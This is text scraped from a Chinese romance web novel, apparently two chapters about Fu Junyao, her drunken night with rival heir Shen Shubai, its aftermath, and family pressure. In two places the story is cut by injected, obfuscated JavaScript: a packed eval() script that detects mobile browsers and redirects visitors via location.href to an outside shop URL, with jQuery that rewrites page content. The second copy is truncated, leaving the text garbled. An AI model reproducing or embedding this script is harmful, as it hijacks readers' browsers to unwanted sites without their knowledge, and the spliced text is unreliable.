傅珺瑶的声音有气无力的,语速也慢,却重重敲进沈述白的心口。 他抿唇,没有回答。 转头看向昏黑的天花板,在心底自问:是吗?他瘦了吗? 脑海闪过几帧画面,唇边漫出一丝轻笑,却揉杂了淡淡的苦涩。 他摸了摸她的耳廓,轻声道:“我没瘦。你呢,你回来之后有好好吃饭吗?” 傅珺瑶像是没接收到讯息,持续沉默。 沈述白没有强问的意思,也跟着沉默。 不过很快,傅珺瑶便开口:“江阔,我想吃你做的百香果酸汤牛肉……为什么别人都做不出你那个味道来,还有蜜饯……你要不卖个配方给我吧……” 沈述白唇角的弧度扬得更深,眉眼间像是吹过几缕柔和的春风,融进了数不清的蜜意。 他的声音明显上扬:“如果你明天醒来之后还想吃,我就做给你吃。” 女人轻轻点头:“好……” 没两秒,她又继续:“我还想听你弹的尤克里里……” “如果你明天醒来后还想听,我就回去把尤克里里拿过来。” “我还想摸摸你的腹肌、胸肌,还有……” 傅珺瑶说这话时,手已经伸到了他的崭新睡衣里。 “……” 沈述白呼吸一滞,浑身的肌肉同时绷紧。 “你的肌肉还是老样子,还没变……” 说完,她甚至呵呵笑了两声。 “……” “还有这里,已经成型了,你是不是有感觉了?” “……” 沈述白的脸瞬间涨红,呼吸粗重,热气失了频率往外窜,他抓紧女人的手,声音很低很哑:“珺珺,你别……快睡觉吧,嗯?” “摸一下而已嘛,你上一次明明也那样摸我……” “……” 沈述白艰难地吐了口气,体内血流加速,心跳加快。 他试着把她的手拿开,但她就跟在他身上装了GPS一样,闭着眼都能摸到最精准的位置。 他最后索性放弃挣扎,手捏拳握紧,任由她摸。 她摸够了应该就安分睡觉了。 他想。 然而下一秒,女人直接翻身,趴到了他的身上。 “……” 沈述白浑身像是在岩浆里滚过,热得发烫。 空调冒出的冷气半点用处都没有。 背后和脖颈涌出的热意不断攀升,他也不敢动,喉嗓紧涩,他凝着身上眼眸半睁的女人。 她身上的酒味虽然不似最初那么浓,但还留有一丝余调,经由他的热气一鼓胀,被子里的气味混杂,他只轻轻吸了口气,大脑便有些不清醒。 偏偏女人更加不安分,她捏着他的耳钉,视线却落在他唇上。 她弯唇笑道:“我想亲你。” “……” “都怪你,把闷骚传染给我了,真的好想亲你……” 说完,不等他反应,唇中已经灌入熟悉的味道。 沈述白几乎是下意识托住她的腰身。 只愣了两秒,身体便主动开始回应她。 半睁的眼角也被身体的热气熏染,开始往外冒着雾气。 是她。 还是她。 她的面容近在眼前,她已经闭上了眼,沉浸在这个吻里。 他的一只手上移,扣紧她的后颈,始终端凝她,不舍得闭眼。 他们用的还是彼此最熟悉的招式。 女人频频与他过招,肆意享受其中,甚至适时发出点声音,没从他睡衣里拿出来的手也更加放肆,叫他浑身浴火。 那晚的感觉重新回笼。 他想起她坐在他腿上,从清醒状态到被他吻得意乱情迷、浑身冒热气。 清醒…… 沈述白的眸子骤然一瞪,唇上的动作戛然而止,像是有一盆冰水从头顶浇下,浇灭了浑身滚烫。 他猛地侧头,从这个吻中抽身。 女人也没料到他会突然有动作,嘴唇微张,双眼朦胧地睁开。 “你还记得我们之间的关系吗?” “江阔,你不是自己说过好多回了吗?你是我老公啊……” “我是江阔,可我也是沈述白,沈述白,是和傅珺瑶有仇的沈述白。” 沈述白双臂钳制着女人,一瞬不瞬地盯着她,一字一句吐完。 傅珺瑶沉默了片刻,那双染了酒意的眸子好像在某个瞬间清醒了,却又好似醉得更深。 蓦地,她扒开他的手,侧身躺了回去。 沈述白的动作僵住,两手悬空好一会才收回来。 她重新扯过他的臂弯,稳稳枕上,又闭了眼:“江阔,在梦里就不要说这些扫兴的话了好不好?” “我不亲了,好困……” 手臂再度环住他的腰身,也真的一句话都没有再说。 沈述白的身体僵直依旧,不稳的呼吸随着瞬间平复的心跳消失在了前一秒。 他紧皱起眉,想挪开搭在身上的胳膊和腿,却半天都没有动静。 梦…… 虽然知道她是因为喝醉了才会这样,可亲耳听到的时候,心里还是不好受。 梦…… 这个梦会在明早醒来,然后呢,那个时候,她会对他说什么? 腰身环绕的力道突然加重,沈述白的注意力瞬间被转移。 耳边很轻的一声呢喃:“江阔……” 他依旧紧蹙着眉,深褐色的眸中布满浓云密雾。 他轻挪手臂,让她能枕得更舒服。 就算是梦,也先过了这一晚再说。 至少在梦里,他还能这样抱着她入眠。 …… 隔天一早,傅珺瑶在熟悉的味道中醒来。 房间里的冷气是刚刚好的舒适程度,身上的冰丝被柔软细腻,轻飘飘地贴在肌肤上。 窗外的太阳光已经穿透窗帘,微微照亮昏黑的房间。 她保持着醒来的姿势,看到床头柜上放在那里的半杯水,大脑稍稍宕机。 她昨晚不是在潮汐Bar?她怎么回来的? 她记得才和凌小姐说完话,又喝了杯酒,然后突然被他…… 傅珺瑶猛地从床上坐起来。 迅速低头,两手扯起身上的睡衣,大脑重启完毕,逐渐回忆起昨晚的画面。 嘴唇慢慢往下撇,眉头也跟着拧紧,鼻梁挤出几道细纹,睡衣在手里攥紧。 他…… 她转头,视线落在身侧的枕头上,那里还留着很浅的凹痕。 傅珺瑶缓缓瞪大了眸,倒吸了口凉气,空调的冷风不偏不倚地淌进胸口,被心脏泵出的血液瞬间带往浑身各处,四肢很快僵住。 不是梦? 那不是她做的梦吗?! 她还凝神在大脑传递来的那些信息里,眉头已经没有了继续往内皱的余地,甚至扯得头皮隐隐发麻。 真丝睡衣在手里被蹂躏得不成样子,躲在被子里的脚趾蜷缩,脚筋也跟着微微抽搐。 那她昨晚…… 傅珺瑶还没来得及往下想,思绪便被房门推开的响声打断。 她猛地一抽,披散的长发在肩头跳跃几下,本能扫过去的双眼瞪圆。 那人似乎也没想到她已经醒来,骤然捏紧了门把手,身体僵在原地,收回了想要往里迈进的脚。 房间外的气流涌进,却瞬间被房间里的冷气浸染,渐渐凝固。 两双眸子隔着几米 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傅珺瑶双臂抱头,把自己深深埋进被子里,小声哀叫:“昨晚不该喝酒的……” 半个小时后,傅珺瑶终于在历经装死、纠结和丰富的心理活动后,洗漱完毕,换好了衣服下楼。 刚走到楼梯口,她便看到男人坐在餐桌旁,身上的睡衣已经换成黑色衬衫,袖口挽到胳膊肘,两只手不知道在手机上划拉什么,神色认真。 他面前还放着两碗冒热气的粥。 傅珺瑶轻脚下楼,却还是很快被他捕捉到动静。 他关了手机,视线追随过来。 精准对上褐眸,傅珺瑶不自觉地捏紧楼梯扶手,脚步更加小心翼翼,生怕自己摔下去。 不算长的楼梯她下了快一分钟。 她不动声色地移开眸光,在空位坐下。 “先吃早餐吧。”他侧眸道。 “……” 傅珺瑶是打算先跟他划清界限的,昨晚她喝醉了,大不了就糊弄过去。 可清香的粥米味道窜进鼻腔,空荡荡的胃瞬间有了反应。 她低着头,没说话,心安理得地拿起勺子,开始往嘴里送粥。 舌尖刚接触到甜粥,傅珺瑶瞳孔闪了闪。 温热微黏的触感在舌尖流淌开来,带着恰到好处的甜味,手上的速度不自觉加快。 心想:如果能有一个手艺跟他一样的厨子就好了。 男人也跟着拿起勺子,视线却总是时不时往她身上瞥一眼。 傅珺瑶视而不见,也尽量忽略耳边的声音。 反正已经尴尬过了,至少得先填饱肚子。 那碗粥酣畅地进了肚。 胃里充实了,傅珺瑶宿醉的难受也消了完全。 不过最基本的生理需求解决了,她就该解决眼前的问题了。 他几乎在同时间吃完,低着头,似乎是在思索什么。顿了两秒,黑色耳钉透出的微光从她眼前扫过,紧随而来的,是他轻闪的眸光。 傅珺瑶本能地咽了咽喉,莫名心虚。 “我们谈谈昨晚的事。”他直奔主题,没有犹豫。 傅珺瑶默默把手移到桌下,又挺直背脊,敛住神情,沉声道:“昨晚多谢沈总送我回来,今早也多谢沈总亲自下厨,按照CEO的最高时薪,我给沈总结清。” 男人的眸色在她话音落下的那一刻沉了下去。 他的胸口轻轻起伏着,嘴唇动了动,像是话至嘴边,但迟迟没有说出口。 下眼睑上抬,挤弯了眉眼,眉毛往内收,在眉心横出明显的皱褶。 他突然别过视线,手指勾在领带口,轻轻往外扯动两下,慢吞吞顺了口气。 他也没看她,垂眸盯着桌上空荡荡的碗,语气像是裹了粘稠的甜粥,憋得发紧。 “傅总还是那么果断,还是那么……喜欢骗人。” 45. 17 说后半句话时,他的眸子已经对上来。 傅珺瑶下意识想躲避,但行动慢了一步,替她守住了气势。 她不动声色地收回视线,舌尖还残留着清粥的余甜,却难以压下从心口反上来的涩味。 傅珺瑶想到昨晚他几次说过的那句话:“你不准骂我,也不准说我恶心。” 喉间的涩味更浓,她尽量忽略他的视线,干脆顺着他的话道:“沈总既然了解我,又何必多问?” 沈述白保持着一个姿势很久,也盯着她很久,久到碗里残留的粥浆都干涸凝固在碗壁。 他突然起身。 拿走了桌上的碗勺,又在水池边三两下洗干净。 最后带着挂满水珠的手出来,在她面前抽了两张纸,不紧不慢地擦干。 傅珺瑶屏着气,一动不动地凝着他的动作。 不知道他是什么目的。 半湿的纸巾揉皱,男人又慢慢放下卷起的袖子,拿了西装外套,朝向她,停顿两秒,双肩往下一松,语气温柔依旧:“我不要任何报酬,结算就不必了。以后别再喝酒了,林医生说你这两天需要停药,如果有任何不舒服,记得联系他。” 傅珺瑶心脏猛地一抽。 双眸没忍住闪了闪,喉间的涩味蔓延至舌尖,抢夺了那里原本的甜味。 “还有一件事,我想……你应该知道。” 他稍作停顿,继续说:“我们……的竹音哨,沿着第一节竹节下面的裂缝打开,里面是装某样东西的容器,我不知道那里面是什么,也查过竹音哨的信息,一无所获,你如果……还感兴趣,也可以查查。” 傅珺瑶的眉头慢慢蹙起。 装某样东西的容器? 不过出神几秒,便错过了问出口的机会。 沈述白转了身,套上板正的黑色西装,只留给她一个背影。 平缓柔和的声音穿过微凉的气流,溜进耳际,最后落在心口,绵延出轻飘飘的痒意:“我走了,好好注意身体,工作重要,但也别忘了考虑自己的感受。” “沈……” 傅珺瑶的声音被不轻不重的关门声盖过。 她站起身,左手下意识上抬,悬在半空,迟迟没有要收回来的意思。 心脏只在一瞬间,再次陷入蛮荒的空虚。 仿佛她失去了什么重要的东西一般。 眉头紧蹙,眉心不停抽搐,呼吸一时间变得频繁急促,屋子里的冷气不断刺激鼻腔黏膜,那里似乎有液体分泌,隐隐有流动的迹象。 她眼前隐隐模糊,身体僵直许久。 伸出去的手捏拳,迅速收了回来,又吞下迷蒙的咸涩。 眼底盈出来的湿润没了踪迹。 她转身上楼,神色缓缓收敛。 怪只怪……江云偏偏是傅珺瑶,江阔偏偏是沈述白。 …… 傅珺瑶到工位之后,聂秘书照例进来汇报行程安排。 “很好,技术部那边你记得盯紧进度,悦霁天地的项目要尽量避免出问题。” 聂秘书点头,准备出去,又被傅珺瑶叫住。 她拿出口袋里的竹音哨,送到她跟前,问:“之前你见过这个吗?” 聂秘书把那一小支暖玉拿在手里看了又看,摇头:“没见过。” “那我之前有在你面前提过竹音哨吗?”傅珺瑶又问。 聂秘书再次摇头。 答案也算是在傅珺瑶的意料之中。 她拉开抽屉,拿出自己的一张银行卡,递给聂秘书:“密码六个零,你找人去洱南帮我查一下这个定制竹音哨,竹节可以打开,应该是专门用来装什么东西的容器,能查到的任何消息第一时间告诉我,剩下的钱都归你。” 聂秘书微愣,接下卡,眼底压不住的惊喜上涌,她拍着胸脯道:“没问题!您放心交给我!” 傅珺瑶弯唇笑笑,又嘱咐她别弄坏了这竹音哨,给她是怎样,还给她的时候就必须还是原样。 “我办事,您放心!” 聂秘书谨慎收好竹音哨,拿着iPad准备出去,又贴心地问了句:“傅总,您今天是喝咖啡还是牛乳茶?” 傅珺瑶思索片刻,说自己喝温水。 “您今天精气神看着确实好了很多,昨天晚上睡得很不错吧?” 傅珺瑶的嘴角僵了僵,干笑两声:“还行。” 聂秘书没再多问,不过两分钟,一杯温水便送到她桌上,跟着一起来的还有一束花。 “傅总,这是前台送上来的花,说是林氏的林总送过来的。” 傅珺瑶喝水润了润嗓,瞥过去一眼。 一捧清新的香槟玫瑰。 “放在门口当装饰吧。”她没有要接花的意思。 聂秘书也早已习惯,见怪不怪。 “对了。”傅珺瑶又突然想到件事。 “你知道之前有人送过我粉帝王吗?” 提到这个,聂秘书还记忆犹新,脑袋如捣蒜般点动,眼底甚至闪过几分兴奋。 “有!因为只有那一束花最特殊,您还收下来放在自己的桌上了。” 傅珺瑶迅速放下杯子,坐直起身,问她知不知道是谁。 聂秘书的反应却如飓风扑灭了她差点燃起的期待。 她耸肩摇头,说当时那束花是匿名送过来的。 傅珺瑶又靠回了座椅。 “不过您那天收到花之后好像猜到是谁了,还让我把时间空出来,说您要去见个人,不过您没有跟我说是去见谁。” 傅珺瑶瘪了瘪唇。 她知道,现在就等于不知道。 等她忙完目前的工作,得早点去找林医生治好失忆。 傅珺瑶索求无果,让聂秘书先出去了。 办公室里刚消停一会,手机里的消息又跳出来轰炸她。 以为是顾清漪,傅珺瑶很快点进微信。 手指却僵了僵。 林逸深:【珺珺,收到花了吗?】 林逸深:【香槟玫瑰,希望你能喜欢。】 林逸深:【我们有两天没见面了,今晚能邀请你出来共进晚餐吗?】 林逸深:【我朋友推荐了一家非常不错的餐厅,或许是你会喜欢的口味。】 傅珺瑶叹了声气,回复:【花收到了,很漂亮,谢谢。晚餐可能不太行,我爷爷生病了,下了班我需要去医院,以后有空再约吧。】 刚退出界面,那人又回过来。 林逸深:【傅爷爷生病了吗?那我下午和你一起去医院吧?】 傅珺瑶眯了眯眼,明显迟疑。 林逸深:【说起来我也很久没见过傅爷爷了,上次也只跟淮湛哥见了一面。】 傅珺瑶犹豫两秒,回复:【那下午医院见吧。】 然后关了手机,放在一边,再不看一眼。 …… 临下班,傅珺瑶提前半小时离开,带上工作文件,去了医院。 傅老爷子正吃完点心。 傅臣北和李茗蕤也在,床侧还有护工守着。 “珺珺?你怎么过来了?”问这话的是李茗蕤。 傅臣北也稍稍惊讶地望向她。 床上的老爷子脸色平平,灰眸轻睨过来,说:“我让她来的,来汇报工作。” 傅臣北脸上的讶色更明显,他走到傅珺瑶身边,又看向老爷子,语气平和道:“爸,珺珺的能力您还质疑什么呢?” 傅珺瑶微愣,眸光转动,男人宽阔的肩背映入眼底。 “是啊爸,您也不要太紧着珺珺了。”李茗蕤也站到她身边来。 傅珺瑶轻轻扯唇,嘴角扬起很浅的弧度。 老爷子的视线扫过他们,冷哼一声,眼色明显沉下来。 “是我最近的工作出了点问题,所以需要来向爷爷汇报,爸妈,你们先去小客厅休息会吧?” 傅珺瑶赶在老爷子发怒前开口,她也不想当着爸妈的面再吵一架。 傅珺瑶都开了口,李茗蕤和傅臣北自然没有多语。 “珺珺,你如果能一直这样懂事,我就不会躺在这里了。” 老爷子在房间里的人出去之后,沉声说了句。 视线如穿透力极强的射线落在她身上,体内的几十对神经同时绷紧。 老爷子侧头,语气又稍稍不满道:“头发要干干净净地扎起来,不要掉出碎发,珺珺,你在外面也是代表着恒璟的形象的。” 傅珺瑶翻文件夹的手顿了顿,没接话,抬手三两下重新束好长发,直接跳转到工作汇报上。 翻动文件的同时,她想到昨晚在那种迷迷糊糊的状态下,沈述白给她提的那个建议。 折衷主义。 和爷爷谈心吗? 爷爷非常介意和沈家有关的启行,又对她充满了掌控欲,目前看来这个办法应该行不通。 可如果长期这样下去,对她自己也是一种消耗。 爷爷的身体状态若是一直要横在问题之间,她能做的必然还是妥协。 真希望……能有个转机。 傅珺瑶暗暗喘气,暂时扫去了杂乱的思索,进入正事。 老爷子虽然对她还存有不满,但她的能力他到底是挑不出刺来,面色缓和了不少。 “很好,这才是不让我失望的珺珺!” 傅珺瑶没什么表情变化,站起身,刚收好文件,小客厅突然一阵动静。 房间的门被敲响,老爷子松了口,傅珺瑶才想起说要来看老爷子的林逸深。 他抱着一大束花进来,先跟老爷子打了招呼:“傅爷爷好,好久不见了,听说您生病了,我过来看看您,希望没有打扰到您。” 傅臣北在一旁提醒:“爸,这是林家的儿子,现在是林氏的CEO,林逸深。” 老爷子终于想起来,眉眼间的厉色消退几分,朝他点了点头。 “不打扰,多谢你惦记啊。”老爷子又伸手扒了扒身旁的傅珺瑶:“珺珺,快跟人认识一下,这是你林伯伯的儿子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141995|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林逸深却赶在她开口之前。 他弯着眉眼,声音如滚滚而流的清波,澄净又温润:“傅爷爷,我和珺珺已经认识过了,前两天我们还约了一起吃饭。” “……” 傅珺瑶背过手,抿紧了唇。 老爷子和两位爸妈都有些意外。 老爷子的视线在两人身上打转,不过几秒,不苟言笑的双神中竟意外地荡起涟漪:“好好好,你们年轻人啊也是该多认识认识。” 林逸深附和着点头,又继续说:“我和珺珺也是这样想的,其实我们今晚也约了想一起吃饭的。” “……” 傅珺瑶蹙了蹙眉,转过身,一言不发。 老爷子脸上的笑意更浓,唇角往上牵扯,抚平了下巴的皱纹。 他笑道:“原来你们还约好了?那我不耽误你们了,我也没什么事,珺珺,你快跟人去吃饭吧!你林伯伯可是爷爷很喜欢的后辈,他的儿子肯定也差不了,你可别错过这个小伙子啊!” 老爷子完全没避讳,话里的意思也再明显不过,没有人会听不懂。 傅珺瑶隐隐反感,没看林逸深,只瞥了眼老爷子,低声道:“爷爷,我的个人问题您就别操心了,您现在养身体要紧。” “没错爸,他们年轻人的事情让他们自己操心就好了。” 傅臣北走到女儿跟前,轻轻拍了拍她的胳膊。 又说:“珺珺,工作的事情处理完了就去忙自己的事吧?这里有妈妈和爸爸在,你不用担心。” …… 傅珺瑶上了林逸深的车,不过上车后的第一句话,她便挑明:“林逸深,我答应和你吃饭,是把你当朋友,如果你一定要急着在我爷爷面前展示我们所谓的关系,我想我们不会再有下一次见面。” 她只觉得第一次见面他展示出来的有分寸和温柔,瞬间变得虚伪。 车里的气氛明显有一瞬的凝滞,又很快被男人化解,他的眉尾下撇,语气软了几分,带着讨好的意味:“抱歉珺珺,是我做得不够好,引起了你的反感,下次我一定等你同意过后再说。” 傅珺瑶没再说话,系了安全带。 车辆涌入繁华的都市街道,傅珺瑶始终侧眸看着窗外。 原本以为林逸深是和他差不多的男人,现在看来……似乎并不是那样。 他的温柔从来不需要刻意的伪装,完全就是从骨子里透出来的气质,根本不会让人觉得虚伪。 他也从不在他人面前大肆宣扬他们的关系,有很得体的边界感,只是把所有的感情都放在行动里,他是想发自内心地对她好,而不是想从她身上急切地得到什么。 他好像做什么都很有分寸,知道怎样她才不会反感,哪怕是他的自来熟,也是刚刚好的程度。 他也总是能察觉她的情绪,能帮她解决情绪,也给足她面子,不会让她下不来台。 “珺珺?”傅珺瑶被林逸深的声音骤然拉回来,她本能地一激灵,才发觉自己又想了不该想的事。 林逸深是提醒她已经到了餐厅。 这顿饭傅珺瑶吃得有些心不在焉。 林逸深选的餐厅味道确实很好,他也一直在找话题,不让这顿饭显得干巴。 可她就是忍不住想他。 想念在洱南那样轻松的每一天,想念那样自由的每一天,想念能没有任何包袱跟他在一起的每一天。 有了傅珺瑶上车前的那句明话,林逸深也没有再说逾矩的话,吃完之后安安分分地送她回了家。 再回到空荡荡的家里,傅珺瑶动作略显僵硬,像是刚出场的机器人,拖着沉重的四肢,慢慢坐到沙发上。 昨晚在这里……她在他面前失态了。 但他的肩膀…靠起来真舒服。 他的味道…也最让她心安。 傅珺瑶又突然软了力,僵硬的四肢像是被热铁融化。 手指慢吞吞地解开了西装扣子,仿佛金蝉脱壳般抽出胳膊,又侧身到另一边,开始脱裤子。 等到房间里的冷气清清爽爽地渗进皮肤里,她终于满意地呼了口气。 四肢懒洋洋地横在沙发上,眼皮有些发沉,头顶的灯光在眼底糊成虚影。 她又开始告诉自己:她不该想他。 可主观压制得越狠,意识就越是忍不住去想。 然而不压制,那念想更如洪水猛兽般汹涌。 如果他们始终在那本火烧不透、水浇不散的敌对册里,她要这样纠结一辈子吗? 她不确定自己是不是能坚持下去。 爱情是她唯一没法用什么理论操控的东西,甚至连她的身体和意识都喜欢背叛她。 不如…… 傅珺瑶的视线突然聚焦,只是思绪没来得及往下,便被一阵急促的FaceTime铃声打断。 瘫软在沙发上的身体猛地一抖,她也没起身,侧手过去拿了手机。 是顾清漪。 “珺珺,明天带你去试礼服,十点钟去接你。” 46. 18 傅珺瑶看了眼左上角的时间,明天周六。 她眯着眼点头:“行,我都听你安排。” 屏幕中的顾清漪把手机怼近脸,她打这个电话来的主题不是这个,也没想跟她绕弯子。 “珺珺,我刚刚听许远舟说你昨天晚上去喝酒了,还遇上沈述白,是他送你回的家。” 傅珺瑶半眯着的眸瞬间睁圆,在清晰的FaceTime镜头里一览无余。 她匆忙地瞥开眼,不去看镜头。 顾清漪的声音突然压低,语气略显严肃:“你为什么去喝酒?你都还喝着中药还敢喝酒!找医生检查过没有啊?” 傅珺瑶蓦然松了口气,把话题往自己身上引,坐起身,笑着对那头道:“没事,林医生说停药两天就够了。” “你还笑呢!昨天心情不好?还是出了什么事?要不要我帮忙?” 顾清漪一个三连问打过来,傅珺瑶揉了揉头发,耐心跟她解释。 得知原因,顾清漪也见怪不怪。 傅老爷子在她眼里虽然是个可怜的老人,但也专制,又过于强势,对傅珺瑶更是严格,受不了才是正常的。 前些年傅珺瑶能在那种威压之下毫无怨言她才觉得不正常。 只是眼下老爷子还在医院,傅珺瑶就算想反抗都得考虑这考虑那的。 “珺珺,你要不就暂时先忍耐一下,等傅爷爷身体恢复了再做打算,确实这样长期下去你也难受,等傅爷爷身体好些了之后去找他好好谈谈,我陪你一起去!” 很中肯的建议,眼下这确实是唯一的选择。 不过顾清漪还是不赞成以喝酒作为发泄办法。 她的嘴唇轻轻撅起,眉峰也往上挑,语气听似‘凶狠’道:“下次不准再一个人去借酒消愁了,发泄办法多的是,不开心了你直接给我打电话,我肯定第一时间出现,哪怕在国外我都马上飞回来!” 傅珺瑶被她逗笑,浑身的疲累被扫去不少。 她两只手举着手机,对着那头笑呵呵:“好好好,我下次肯定第一时间找你!” 话题逐渐被带偏,傅珺瑶也以为成功转移了顾清漪的注意力。 两人正聊得开心。 顾清漪却突然把话题绕了回来:“你跟沈述白怎么回事?许远舟说你昨天还抱着他叫什么…江阔?他还进了你家?!” 傅珺瑶嘴边的笑僵在那里,唇角渐渐收了回来。 同样的,被那头的顾清漪完全捕捉到。 顾清漪先跟她解释,说许远舟和沈述白是关系比较近的朋友。 又回到话题:“我记得你之前跟我说,你在洱南失忆的日子叫江云,珺珺,你在洱南跟沈述白……扯上关系了?” 顾清漪说得还算委婉,不过她明显是已经猜到了。 傅珺瑶不说话。 顾清漪也没有逼问她。 语气认真了些:“珺珺,如果单只是恒璟有跟启行合作的需求,启行还偏偏是那个最优选的话,我觉得大不了拿董事会给傅爷爷压力,还有点可行性,可如果是你跟沈述白在一起了,是纯粹的家族问题,那就跟不可能挂钩了。” 顾清漪同样一针见血、逻辑清晰。 “珺珺,虽然感情的事确实不好说也不太可控,但当初的事实在是……你得想清楚了。” 傅珺瑶垂着眸,一直避开镜头。 长久的沉默,顾清漪没再继续下去。 只说:“算了珺珺,这个问题先不想了,你今晚好好休息,明天咱们高高兴兴地去试礼服,周末咱们先放松了再说。” 顾清漪的台阶都送到跟前,傅珺瑶不会不下。 FaceTime结束,傅珺瑶又瘫回了沙发上。 想清楚…… 就是因为她想得清楚,才会陷入这样的纠结和痛苦里。 如果……一切都有转机,就好了。 傅珺瑶在客厅磨蹭了好一会才上楼,洗漱完躺回被窝,她一直侧着身,鼻尖贴在另一个枕头上。 上面还有他的味道。 昨晚…她在这里短暂地享受了他的身体,还有他的唇。 好想……再享受一次。 傅珺瑶闭着眼,干脆把枕头抱在怀里,鼻腔紧紧陷入,猛地吸了口气。 好想……再枕着他的胳膊睡觉。 …… 沈宅。 一楼的厨房里不停往外冒着甜腻的香味。 烤箱和燃气灶在这个夜晚格外忙碌,忙着熬制、烘烤蜜饯。 锅里咕嘟咕嘟地冒着响,细腻的糖汁已经融进了切好的蜜桃里,沈述白关了火,不紧不慢地把蜜桃干摆进烤盘。 “白白,你还在做吗?”苏俪嫀听到一楼还有动静,是专门过来提醒儿子早点休息的。 沈述白手里的动作没停,回头看了眼母亲,笑笑道:“对,快做完了。” 苏俪嫀扫过烤盘,还有正在烤制中的烤箱,眼底闪过几分好奇:“这是你新学的吗?以前没见你做过。” 沈述白嗯了声。 苏俪嫀没急着走,靠在大理石料台边,看着儿子做。 视线停在他身上,说:“你呀也别光顾着做,自己好好吃饭,妈妈看你都瘦太多了。” 烤箱“叮”了声,芒果干已经烤好,烤箱门一打开,酸酸甜甜的香味扑面而来。 沈述白侧身,笑着问:“这个烤好了,您要不要尝一个?” 苏俪嫀的注意力被转移,上前,接过他递来的蜜饯。 母子俩都背对着客厅,也没注意到家里有人回来。 是沈行之站在厨房门口,敲了敲门沿,两人才同时转身。 “做什么好吃的呢?我和爸有没有这个口福啊?” 沈行之话音刚落,沈毅安便从他身后探出头来。父子俩去参加了应酬,回来晚了些。 苏俪嫀手里还拿着半块蜜饯,看到门口的两个男人,嘴角的弧度更深:“白白做的蜜饯,很好吃。” 沈行之上前,目光始终落在沈述白身上。 他也拿了块蜜饯,漫不经心地尝了口,继续凝着沈述白,语气平淡:“这么大阵仗,看来很想赶快做完啊。” 沈述白手上的动作顿了顿,别开双眼,不接话,把摆满蜜桃干的烤盘推进烤箱。 沈行之轻哼了声,一口塞完蜜饯,拍掉手上的糖渍,对已经吃完的爸妈道:“爸妈,时间不早了,你们上去休息吧,我陪着他做。” 沈家爸妈都是喜欢早睡的人,奶奶和爷爷在这个点也歇下了。 厨房里在爸妈离开之后突然安静下来。 沈行之抱臂倚在门边,静静地望着沈述白,并不急于开口。 沈述白拧开水龙头,慢吞吞地清洗锅里的甜腻,细细擦过每一处,不放过任何角落,甚至连锅底都要洗干净。 一个简单的清洁过程,却犹如胃容量极大的巨兽,吞噬了大半时间。 烤箱也怕了这巨兽,显示屏上的倒计时很快完毕,“叮”的一声后,它飞快下了班。 沈述白还是避开沈行之的视线,不慌不忙地拿起筷子,一个一个把蜜饯装进他准备好的罐子里。 空荡荡的罐子也贪心地吃进了比金钱还珍贵的时间。 最后一个蜜饯找到了群体,沈述白扣上盖子,却迟迟没有下一步动作。 沈行之终于有了动静,手臂抬起,衬衫摩擦出很轻的声响:“一个小时四十三分钟,老弟,我的时间很贵的。” 沈述白背对着他,不以为然道:“是你主动提出要陪我的,应该我管你收钱。” 沈行之喉间溢出声嗤笑。 语气收敛了些,道:“行,我买你的时间,去房间,有事说。” 停顿两秒,又赶在沈述白之前开口:“拒绝的话,那罐蜜饯就别想送出去了。” “……” 安静隔音的房间内,沈述白把蜜饯收好,刚坐下来,阳台上的白白便蹿到脚边,直接跳到他腿上。 他顺势抱着它,眼皮垂下,遮挡了眼底的情绪。 “你昨晚去哪了?”沈行之抢过他手里的白白,把圆滚滚的脑袋扣在掌心揉弄。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148340|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 空气仿佛凝滞了般,房间里听不到一点声音,就连白白也扑在沈行之怀里,一声不发。 “下周就要公布你的婚讯了吧?怎么样,和那位宋小姐见过面了吗?”沈述白猛然抬头,弯着眉眼,语气略显生硬。 沈行之眯起眼,唇角带起一抹若有似无的弧度,丝毫不接他的招:“别扯开话题,没有得到我想要的回答前,我不会回答你任何问题。” “……” 他的视线强硬地扫过来,沈述白摸了摸那颗黑色耳钉,眼珠子几次斜转,还是落了败场。 “你都知道了,还问什么?”他的语气隐隐发虚,找不到落脚点。 沈行之明显不满:“那我不问,你打算告诉我么?” “……” “老弟,你到底想怎样?”沈行之的声音骤然冷下来,好似坠入万年冰窖。 沈述白抿了抿唇,还算得上红润的唇瞬间发白。 他低声道:“我没想怎么样。” “是么?在她公寓留宿一晚,还没想怎样?那你觉得要发生什么?是打算下次直接宣布你们的婚讯?” 几连逼问,堵得沈述白哑口无言。 “老弟,你是真不怕爷爷奶奶和爸妈知道?” “……” 沈述白头往下低,最后只留给沈行之一个茂密的头顶。 沈行之忽然叹了声气:“不是我不想帮你,是这事它就踩到底线了,根本没办法帮!除非你能回到二十三年前,让姑姑和傅珺瑶她大伯死而复生,否则在爷爷奶奶那里,这事绝对是禁忌!” 沈述白僵在那里,像没有生机的雕塑。 “而且我可提醒你,你回到淮北,这里是没有不透风的墙的,爷爷奶奶万一听到点什么,你就不会有好日子过了,别看爷爷奶奶平时好像和和蔼蔼的,咱俩小时候犯错可没少被狠狠教训。” 沈行之又抱着白白揉了好一会,几次捏过它长着黑色胎记的小耳朵。 他起身,抱着白白回了阳台的小窝。 又回来,站定在沈述白跟前,语气不算太严肃:“我给你时间缓冲,能瞒着的我替你瞒着,你最好也注意点。不过如果你执意去当那个不顾一切的深情种,我也不介意……采取点特殊手段。” 